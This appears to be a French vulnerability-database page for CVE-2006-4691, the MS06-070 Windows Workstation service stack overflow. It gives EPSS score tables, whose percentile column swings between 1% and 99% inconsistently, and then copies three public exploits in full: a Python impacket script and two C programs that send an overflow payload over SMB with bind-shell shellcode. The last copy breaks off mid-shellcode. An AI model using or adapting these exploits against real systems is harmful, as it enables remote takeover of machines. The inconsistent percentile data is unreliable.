CVE-2006-4691 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.31%	–	–
2023-03-12	–	–	–	96.7%	–
2023-04-23	–	–	–	96.72%	–
2023-05-28	–	–	–	96.63%	–
2023-08-13	–	–	–	96.62%	–
2023-09-24	–	–	–	96.67%	–
2024-04-14	–	–	–	96.35%	–
2024-06-02	–	–	–	96.35%	–
2024-10-06	–	–	–	96.36%	–
2024-12-22	–	–	–	96.81%	–
2025-03-09	–	–	–	96.83%	–
2025-01-19	–	–	–	96.81%	–
2025-03-09	–	–	–	96.83%	–
2025-03-18	–	–	–	–	88.59%
2025-03-30	–	–	–	–	88.68%
2025-05-01	–	–	–	–	88.82%
2025-07-03	–	–	–	–	87.54%
2025-08-25	–	–	–	–	88.89%
2025-09-08	–	–	–	–	88.89%
2025-10-01	–	–	–	–	88.27%
2025-10-17	–	–	–	–	88.83%
2025-10-23	–	–	–	–	89%
2025-10-23	–	–	–	–	89,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	99%
2023-04-23	99%
2023-05-28	99%
2023-08-13	99%
2023-09-24	1%
2024-04-14	1%
2024-06-02	1%
2024-10-06	1%
2024-12-22	1%
2025-03-09	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-30	99%
2025-05-01	99%
2025-07-03	99%
2025-08-25	99%
2025-09-08	1%
2025-10-01	99%
2025-10-17	99%
2025-10-23	99%
2025-10-23	99%

#!/usr/bin/python # MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit # Tested on windows 2000 server SP4 # # Usage: python NetAPI-NetrJoinDomain2.py <target ip> <domainname> # Requires a domain controller on the network (configure samba as DC) # Requires python and impacket # # Winny M Thomas ;-) from impacket.dcerpc import transport from impacket import uuid import sys import socket import struct def DCEconnectAndExploit(target, domain): baselen = 3708 stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= {'host': target,'pipe': 'wkssvc','port': 445,} print 'Connecting to named pipe (wkssvc)' trans = transport.DCERPCTransportFactory(stringbinding) trans.connect() print 'Setting up DCE transport' dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin(('6bffd098-a112-3610-9833-46c3f87e345a','1.0'))) print 'Sending attack payload to target' #NetrJoinDomain2 data: Hostname query1 = "\xaa\xbb\xcc\xdd" query1 += "\x07\x00\x00\x00" query1 += "\x00\x00\x00\x00" query1 += "\x07\x00\x00\x00" query1 += "\x5C\x00\x5C\x00" query1 += "\x41\x00\x55\x00" query1 += "\x58\x00\x37\x00" query1 += "\x00\x00\x00\x00" #NetrJoinDomain2 data: Domain/Hostname targetd = '\x00'.join(list(domain)) + '\x00' Len = baselen + len(domain) query2 = struct.pack('L', Len) query2 += struct.pack('L', 0) query2 += struct.pack('L', Len) query2 += targetd query3 = "\x5C\x00\x5C\x00\x76\x00\x90\x90" query3 += "\x90\x90" * 1058 query3 += "\xEB\x06" #6 byte jump from current pointer in ebx query3 += "\x27\x16\xE1\x77" #Address from user32.dll (0x77E11627) #350 byte port binding shellcode query3 += "\x90\x90\x90\x90\x90\x90" query3 += "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73" query3 += "\x13\xe9\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83" query3 += "\x01\xa0\xdc\x31\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2" query3 += "\x5f\xcb\x91\x58\xcc\x45\xa6\x41\xa8\x91\xc9\x58\xc8\x87" query3 += "\x62\x6d\xa8\xcf\x07\x68\xe3\x57\x45\xdd\xe3\xba\xee\x98" query3 += "\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6\x9c\xbc\xa8\x91" query3 += "\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25\xea\x75" query3 += "\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45" query3 += "\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57" query3 += "\xcf\x9e\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc" query3 += "\xb6\x0d\xdc\x1e\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0" query3 += "\xc6\xa8\x68\xb4\x2b\xcc\xbc\x33\x21\x31\x39\x31\xfa\xc7" query3 += "\x1c\xf4\x74\x31\x3f\x0a\x70\x9d\xba\x0a\x60\x9d\xaa\x0a" query3 += "\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f\x7c\x31\x87\xd4" query3 += "\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6\x4d\xf4" query3 += "\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87" query3 += "\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f" query3 += "\x5a\x99\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3" query3 += "\x60\xbc\x49\x9e\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68" query3 += "\xe3\x3d\x43\xa7\x61\xe3\x17\x1b\x0f\x5d\x64\x23\x1b\x65" query3 += "\x42\xf2\x4b\xbc\x17\xea\x35\x31\x9c\x1d\xdc\x18\xb2\x0e" query3 += "\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f\x16\x89\x4b\x63" query3 += "\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e\x62\x0e" query3 += "\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91" query3 += "\xba\xa6\xf5\x31\x39\x59\x23\xce"; query3 += "\x90\x90" * 2467 query3 += "\x00\x00" query3 += "\x00\x00\x00\x00" query3 += "\x00\x00\x00\x00" query3 += "\x00\x00\x00\x00" query3 += "\x00\x00" query3 += "\x01\x00\x00\x00" query = query1 + query2 + query3 dce.call(0x16, query) if __name__ == '__main__': try: target = sys.argv[1] domain = sys.argv[2] except IndexError: print 'Usage: %s <target ip> <domain>' % sys.argv[0] sys.exit(-1) DCEconnectAndExploit(target, domain) # milw0rm.com [2006-11-18]

/*************************************************************************** Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit by cocoruder(frankruder_at_hotmail.com),2006.11.15 page:http://ruder.cdut.net/default.asp successfully test on Windows 2000 Server SP4(chinese) usage: ms06070 targetip DomainName notice: Make sure the DomainName is valid and live,more informations see http://research.eeye.com/html/advisories/published/AD20061114.html, cocoruder just research the vulnerability and give the exploit for Win2000. ****************************************************************************/ #include <stdio.h> #include <windows.h> #include <winsock.h> #include <tchar.h> unsigned char SmbNeg[] = "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54" "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"; unsigned char Session_Setup_AndX_Request[]= "\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00" "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff" "\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d" "\x62\x00"; unsigned char TreeConnect_AndX_Request[]= "\x00\x00\x00\x58\xff\x53\x4d\x42\x75\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xff\xfe\x00\x08\x00\x03\x04\xff\x00\x58\x00\x08" "\x00\x01\x00\x2d\x00\x00\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00" "\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x36\x00" "\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f" "\x3f\x00"; unsigned char NTCreate_AndX_Request[]= "\x00\x00\x00\x64\xff\x53\x4d\x42\xa2\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x04\x0c\x00\x08\x00\x01\x18\xff\x00\xde\xde\x00" "\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00" "\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00\x01\x11\x00\x00\x5c\x00" "\x77\x00\x6b\x00\x73\x00\x73\x00\x76\x00\x63\x00\x00\x00"; unsigned char Rpc_Bind_Wkssvc[]= "\x00\x00\x00\x92\xff\x53\x4d\x42\x25\x00" "\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x08\xf0\x0b\x03\x08\xf7\x4c\x10\x00\x00\x48\x00\x00" "\x04\xe0\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a" "\x00\x48\x00\x4a\x00\x02\x00\x26\x00\x01\x40\x4f\x00\x5c\x50\x49" "\x50\x45\x5c\x00\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00" "\x00\x00\x00\x00\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x01\x00\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3" "\xf8\x7e\x34\x5a\x01\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11" "\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"; unsigned char Rpc_NetrJoinDomain2_Header[]= "\x00\x00\x00\xa8\xff\x53\x4d\x42\x25\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x6c\x07\x00\x08\xc0\x01\x10\x00\x00\x54\x00\x00" "\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54" "\x00\x54\x00\x54\x00\x02\x00\x26\x00\x00\x40\x65\x00\x00\x5c\x00" "\x50\x00\x49\x00\x50\x00\x45\x00\x5c\x00\x00\x00\x00\x00\x05\x00" "\x00\x03\x10\x00\x00\x00\x54\x00\x00\x00\x01\x00\x00\x00\x3c\x00" "\x00\x00\x00\x00" "\x16\x00" //opnum,NetrJoinDomain2 "\x30\x2a\x42\x00" "\x0e\x00\x00\x00" "\x00\x00\x00\x00" "\x0e\x00\x00\x00" "\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00" "\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x31\x00" "\x00\x00" "\x10\x01\x00\x00" "\x00\x00\x00\x00" "\x10\x01\x00\x00"; unsigned char Rpc_NetrJoinDomain2_End[]= "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x01\x00\x00\x00"; unsigned char *lpDomainName=NULL; DWORD dwDomainNameLen=0; /* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6e" "\xd2\x50\xd3\x83\xeb\xfc\xe2\xf4\x92\xb8\xbb\x9e\x86\x2b\xaf\x2c" "\x91\xb2\xdb\xbf\x4a\xf6\xdb\x96\x52\x59\x2c\xd6\x16\xd3\xbf\x58" "\x21\xca\xdb\x8c\x4e\xd3\xbb\x9a\xe5\xe6\xdb\xd2\x80\xe3\x90\x4a" "\xc2\x56\x90\xa7\x69\x13\x9a\xde\x6f\x10\xbb\x27\x55\x86\x74\xfb" "\x1b\x37\xdb\x8c\x4a\xd3\xbb\xb5\xe5\xde\x1b\x58\x31\xce\x51\x38" "\x6d\xfe\xdb\x5a\x02\xf6\x4c\xb2\xad\xe3\x8b\xb7\xe5\x91\x60\x58" "\x2e\xde\xdb\xa3\x72\x7f\xdb\x93\x66\x8c\x38\x5d\x20\xdc\xbc\x83" "\x91\x04\x36\x80\x08\xba\x63\xe1\x06\xa5\x23\xe1\x31\x86\xaf\x03" "\x06\x19\xbd\x2f\x55\x82\xaf\x05\x31\x5b\xb5\xb5\xef\x3f\x58\xd1" "\x3b\xb8\x52\x2c\xbe\xba\x89\xda\x9b\x7f\x07\x2c\xb8\x81\x03\x80" "\x3d\x81\x13\x80\x2d\x81\xaf\x03\x08\xba\x41\x8f\x08\x81\xd9\x32" "\xfb\xba\xf4\xc9\x1e\x15\x07\x2c\xb8\xb8\x40\x82\x3b\x2d\x80\xbb" "\xca\x7f\x7e\x3a\x39\x2d\x86\x80\x3b\x2d\x80\xbb\x8b\x9b\xd6\x9a" "\x39\x2d\x86\x83\x3a\x86\x05\x2c\xbe\x41\x38\x34\x17\x14\x29\x84" "\x91\x04\x05\x2c\xbe\xb4\x3a\xb7\x08\xba\x33\xbe\xe7\x37\x3a\x83" "\x37\xfb\x9c\x5a\x89\xb8\x14\x5a\x8c\xe3\x90\x20\xc4\x2c\x12\xfe" "\x90\x90\x7c\x40\xe3\xa8\x68\x78\xc5\x79\x38\xa1\x90\x61\x46\x2c" "\x1b\x96\xaf\x05\x35\x85\x02\x82\x3f\x83\x3a\xd2\x3f\x83\x05\x82" "\x91\x02\x38\x7e\xb7\xd7\x9e\x80\x91\x04\x3a\x2c\x91\xe5\xaf\x03" "\xe5\x85\xac\x50\xaa\xb6\xaf\x05\x3c\x2d\x80\xbb\x9e\x58\x54\x8c" "\x3d\x2d\x86\x2c\xbe\xd2\x50\xd3"; DWORD fill_len_1 =0x84c; //fill data DWORD fill_len_2 =0x1000; //fill rubbish data DWORD addr_jmp_ebx=0x77f81573; //jmp ebx address,in ntdll.dll unsigned char code_jmp8[]= //jmp 8 "\xEB\x06\x90\x90"; unsigned char *Rpc_NetrJoinDomain2=NULL; DWORD dwRpc_NetrJoinDomain2=0; unsigned char recvbuff[2048]; void showinfo(void) { printf("Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit\n"); printf("by cocoruder(frankruder_at_hotmail.com),2006.10.15\n"); printf("page:http://ruder.cdut.net/default.asp\n\n"); printf("successfully test on Windows 2000 Server SP4(chinese)\n\n"); printf("usage:\n"); printf("ms06070 targetip DomainName\n\n"); printf("notice:\n"); printf("Make sure the DomainName is valid and live,more informations see\n"); printf("http://research.eeye.com/html/advisories/published/AD20061114.html,\n"); printf("cocoruder just research the vulnerability and give the exploit for Win2000.\n\n\n"); } void neg ( int s ) { char response[1024]; memset(response,0,sizeof(response)); send(s,(char *)SmbNeg,sizeof(SmbNeg)-1,0); } void MakeAttackPacket(char *lpDomainNameStr) { DWORD j,len,b_flag; dwDomainNameLen=(strlen(lpDomainNameStr)+2)*2; lpDomainName=(unsigned char *)malloc(dwDomainNameLen); memset(lpDomainName,0,dwDomainNameLen); MultiByteToWideChar(CP_ACP,0,lpDomainNameStr,-1,(LPWSTR)lpDomainName,dwDomainNameLen); *(unsigned char *)(lpDomainName+dwDomainNameLen-2)=0x5C; *(unsigned char *)(lpDomainName+dwDomainNameLen-4)=0x5C; len=dwDomainNameLen+ //DomainName fill_len_1-3*2+ //fill_len_1 4+ //jmp 8 4+ //addr jmp ebx sizeof(shellcode)-1+ //shellcode fill_len_2+ //fill_len_2 2; //0x0000 b_flag=0; if (len%2==1) { len++; b_flag=1; } dwRpc_NetrJoinDomain2=sizeof(Rpc_NetrJoinDomain2_Header)-1+ len+ sizeof(Rpc_NetrJoinDomain2_End)-1; //end //malloc Rpc_NetrJoinDomain2=(unsigned char *)malloc(dwRpc_NetrJoinDomain2); if (Rpc_NetrJoinDomain2==NULL) { printf("malloc error!\n"); return; } //fill nop memset(Rpc_NetrJoinDomain2,0x90,dwRpc_NetrJoinDomain2); j=sizeof(Rpc_NetrJoinDomain2_Header)-1; //update para1 length *(DWORD *)(Rpc_NetrJoinDomain2_Header+j-0x0c)=len/2; *(DWORD *)(Rpc_NetrJoinDomain2_Header+j-0x04)=len/2; //copy header memcpy(Rpc_NetrJoinDomain2,Rpc_NetrJoinDomain2_Header,sizeof(Rpc_NetrJoinDomain2_Header)-1); j=sizeof(Rpc_NetrJoinDomain2_Header)-1; //copy DomainName memcpy(Rpc_NetrJoinDomain2+j,lpDomainName,dwDomainNameLen); j=j+dwDomainNameLen; //calculate offset j=j+fill_len_1-3*2; //jmp 8 memcpy(Rpc_NetrJoinDomain2+j,code_jmp8,sizeof(code_jmp8)-1); j=j+4; //jmp ebx address *(DWORD *)(Rpc_NetrJoinDomain2+j)=addr_jmp_ebx; j=j+4; //copy shellcode memcpy(Rpc_NetrJoinDomain2+j,shellcode,sizeof(shellcode)-1); j=j+sizeof(shellcode)-1; //fill data memset(Rpc_NetrJoinDomain2+j,0x41,fill_len_2); j=j+fill_len_2; //0x0000(NULL) if (b_flag==0) { Rpc_NetrJoinDomain2[j]=0x00; Rpc_NetrJoinDomain2[j+1]=0x00; j=j+2; } else if (b_flag==1) { Rpc_NetrJoinDomain2[j]=0x00; Rpc_NetrJoinDomain2[j+1]=0x00; Rpc_NetrJoinDomain2[j+2]=0x00; j=j+3; } //copy other parameter memcpy(Rpc_NetrJoinDomain2+j,Rpc_NetrJoinDomain2_End,sizeof(Rpc_NetrJoinDomain2_End)-1); j=j+sizeof(Rpc_NetrJoinDomain2_End)-1; } void main(int argc,char **argv) { WSADATA ws; struct sockaddr_in server; SOCKET sock; DWORD ret; WORD userid,treeid,fid; showinfo(); return; WSAStartup(MAKEWORD(2,2),&ws); sock = socket(AF_INET,SOCK_STREAM,0); if(sock<=0) { return; } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons((USHORT)445); printf("[+] Connecting %s\n",argv[1]); ret=connect(sock,(struct sockaddr *)&server,sizeof(server)); if (ret==-1) { printf("connect error!\n"); return; } neg(sock); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0); if (ret<=0) { printf("send Session_Setup_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); userid=*(WORD *)(recvbuff+0x20); //get userid memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0); if (ret<=0) { printf("send TreeConnect_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); treeid=*(WORD *)(recvbuff+0x1c); //get treeid //send NTCreate_AndX_Request memcpy(NTCreate_AndX_Request+0x20,(char *)&userid,2); //update userid memcpy(NTCreate_AndX_Request+0x1c,(char *)&treeid,2); //update treeid ret=send(sock,(char *)NTCreate_AndX_Request,sizeof(NTCreate_AndX_Request)-1,0); if (ret<=0) { printf("send NTCreate_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); fid=*(WORD *)(recvbuff+0x2a); //get fid //rpc bind memcpy(Rpc_Bind_Wkssvc+0x20,(char *)&userid,2); memcpy(Rpc_Bind_Wkssvc+0x1c,(char *)&treeid,2); memcpy(Rpc_Bind_Wkssvc+0x43,(char *)&fid,2); *(DWORD *)Rpc_Bind_Wkssvc=htonl(sizeof(Rpc_Bind_Wkssvc)-1-4); ret=send(sock,(char *)Rpc_Bind_Wkssvc,sizeof(Rpc_Bind_Wkssvc)-1,0); if (ret<=0) { printf("send Rpc_Bind_Wkssvc error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); MakeAttackPacket((char *)argv[2]); memcpy(Rpc_NetrJoinDomain2+0x20,(char *)&userid,2); memcpy(Rpc_NetrJoinDomain2+0x1c,(char *)&treeid,2); memcpy(Rpc_NetrJoinDomain2+0x43,(char *)&fid,2); *(DWORD *)Rpc_NetrJoinDomain2=htonl(dwRpc_NetrJoinDomain2-4); *(WORD *)(Rpc_NetrJoinDomain2+0x27)=dwRpc_NetrJoinDomain2-0x58; //update Total Data Count *(WORD *)(Rpc_NetrJoinDomain2+0x3b)=dwRpc_NetrJoinDomain2-0x58; //update Data Count *(WORD *)(Rpc_NetrJoinDomain2+0x45)=dwRpc_NetrJoinDomain2-0x47; //update Byte Count *(WORD *)(Rpc_NetrJoinDomain2+0x60)=dwRpc_NetrJoinDomain2-0x58; //update Frag Length ret=send(sock,(char *)Rpc_NetrJoinDomain2,dwRpc_NetrJoinDomain2,0); if (ret<=0) { printf("send Rpc_NetrJoinDomain2 error!\n"); return; } printf("[+] Send attack packet successfully.telnet %s:4444?\n",argv[1]); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); closesocket(sock); } // milw0rm.com [2006-11-16]

/*************************************************************************** Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit by cocoruder(frankruder_at_hotmail.com),2006.11.15 page:http://ruder.cdut.net/default.asp Code fixed by S A Stevens - 17.11.2006 - changed shellcode, Changed code to correct jmp EBX address and fixed exploit output status. Greetz to InTel Should work on Windows 2000 Server SP4 (All Languages) usage: ms06070 targetip DomainName notice: Make sure the DomainName is valid and live,more informations see http://research.eeye.com/html/advisories/published/AD20061114.html, cocoruder just research the vulnerability and give the exploit for Win2000. ****************************************************************************/ #include <stdio.h> #include <windows.h> #include <winsock.h> #include <tchar.h> #pragma comment(lib, "wsock32.lib") unsigned char SmbNeg[] = "\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x88\x05\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54" "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"; unsigned char Session_Setup_AndX_Request[]= "\x00\x00\x00\x48\xff\x53\x4d\x42\x73\x00" "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\x88\x05\x00\x00\x00\x00\x0d\xff\x00\x00\x00\xff" "\xff\x02\x00\x88\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x6e\x74\x00\x70\x79\x73\x6d" "\x62\x00"; unsigned char TreeConnect_AndX_Request[]= "\x00\x00\x00\x58\xff\x53\x4d\x42\x75\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xff\xfe\x00\x08\x00\x03\x04\xff\x00\x58\x00\x08" "\x00\x01\x00\x2d\x00\x00\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00" "\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x36\x00" "\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3f\x3f\x3f\x3f" "\x3f\x00"; unsigned char NTCreate_AndX_Request[]= "\x00\x00\x00\x64\xff\x53\x4d\x42\xa2\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x04\x0c\x00\x08\x00\x01\x18\xff\x00\xde\xde\x00" "\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00" "\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00\x01\x11\x00\x00\x5c\x00" "\x77\x00\x6b\x00\x73\x00\x73\x00\x76\x00\x63\x00\x00\x00"; unsigned char Rpc_Bind_Wkssvc[]= "\x00\x00\x00\x92\xff\x53\x4d\x42\x25\x00" "\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x08\xf0\x0b\x03\x08\xf7\x4c\x10\x00\x00\x48\x00\x00" "\x04\xe0\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a" "\x00\x48\x00\x4a\x00\x02\x00\x26\x00\x01\x40\x4f\x00\x5c\x50\x49" "\x50\x45\x5c\x00\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00" "\x00\x00\x00\x00\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x01\x00\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3" "\xf8\x7e\x34\x5a\x01\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11" "\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"; unsigned char Rpc_NetrJoinDomain2_Header[]= "\x00\x00\x00\xa8\xff\x53\x4d\x42\x25\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x6c\x07\x00\x08\xc0\x01\x10\x00\x00\x54\x00\x00" "\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54" "\x00\x54\x00\x54\x00\x02\x00\x26\x00\x00\x40\x65\x00\x00\x5c\x00" "\x50\x00\x49\x00\x50\x00\x45\x00\x5c\x00\x00\x00\x00\x00\x05\x00" "\x00\x03\x10\x00\x00\x00\x54\x00\x00\x00\x01\x00\x00\x00\x3c\x00" "\x00\x00\x00\x00" "\x16\x00" //opnum,NetrJoinDomain2 "\x30\x2a\x42\x00" "\x0e\x00\x00\x00" "\x00\x00\x00\x00" "\x0e\x00\x00\x00" "\x5c\x00\x5c\x00\x31\x00\x37\x00\x32\x00" "\x2e\x00\x32\x00\x32\x00\x2e\x00\x35\x00\x2e\x00\x34\x00\x31\x00" "\x00\x00" "\x10\x01\x00\x00" "\x00\x00\x00\x00" "\x10\x01\x00\x00"; unsigned char Rpc_NetrJoinDomain2_End[]= "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x01\x00\x00\x00"; unsigned char *lpDomainName=NULL; DWORD dwDomainNameLen=0; /* win32_bind - EXITFUNC=seh LPORT=4443 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char shellcode[] = "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe9" "\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83\x01\xa0\xdc\x31" "\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2\x5f\xcb\x91\x58\xcc\x45" "\xa6\x41\xa8\x91\xc9\x58\xc8\x87\x62\x6d\xa8\xcf\x07\x68\xe3\x57" "\x45\xdd\xe3\xba\xee\x98\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6" "\x9c\xbc\xa8\x91\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25" "\xea\x75\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45" "\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57\xcf\x9e" "\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc\xb6\x0d\xdc\x1e" "\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0\xc6\xa8\x68\xb4\x2b\xcc" "\xbc\x33\x21\x31\x39\x31\xfa\xc7\x1c\xf4\x74\x31\x3f\x0a\x70\x9d" "\xba\x0a\x60\x9d\xaa\x0a\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f" "\x7c\x31\x87\xd4\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6" "\x4d\xf4\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87" "\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f\x5a\x99" "\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3\x60\xbc\x49\x9e" "\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68\xe3\x3d\x43\xa7\x61\xe3" "\x17\x1b\x0f\x5d\x64\x23\x1b\x65\x42\xf2\x4b\xbc\x17\xea\x35\x31" "\x9c\x1d\xdc\x18\xb2\x0e\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f" "\x16\x89\x4b\x63\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e" 